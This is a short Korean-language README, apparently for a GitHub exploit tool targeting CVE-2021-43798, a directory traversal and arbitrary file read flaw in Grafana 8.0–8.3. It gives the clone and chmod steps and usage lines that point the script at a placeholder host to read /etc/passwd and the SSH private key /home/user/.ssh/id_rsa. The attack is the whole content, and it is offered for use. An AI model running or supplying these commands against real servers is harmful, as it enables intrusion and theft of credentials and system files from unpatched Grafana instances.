
Grafana의 디렉터리 트래버설 및 임의 파일 읽기
Grafana 디렉터리 트래버설 및 임의 파일 읽기
작성자:
Wagner Alves - 레드팀 분석가
이 익스플로잇은 Grafana 8.0 - 8.3의 디렉터리 트래버설 및 임의 파일 읽기 취약점을 활용하여 /etc/passwd, /etc/hosts, /home/user/.ssh/id_rsa, /etc/os-release 및 기타 유용한 파일을 읽을 수 있습니다.
git clone https://github.com/wagneralves/CVE-2021-43798.git
cd CVE-2021-43798
chmod +x ExploitGrafana.sh
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /etc/passwd
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa
ex: ./ExploitGrafana.sh -h http://domain.xpto:3000 -f /home/user/.ssh/id_rsa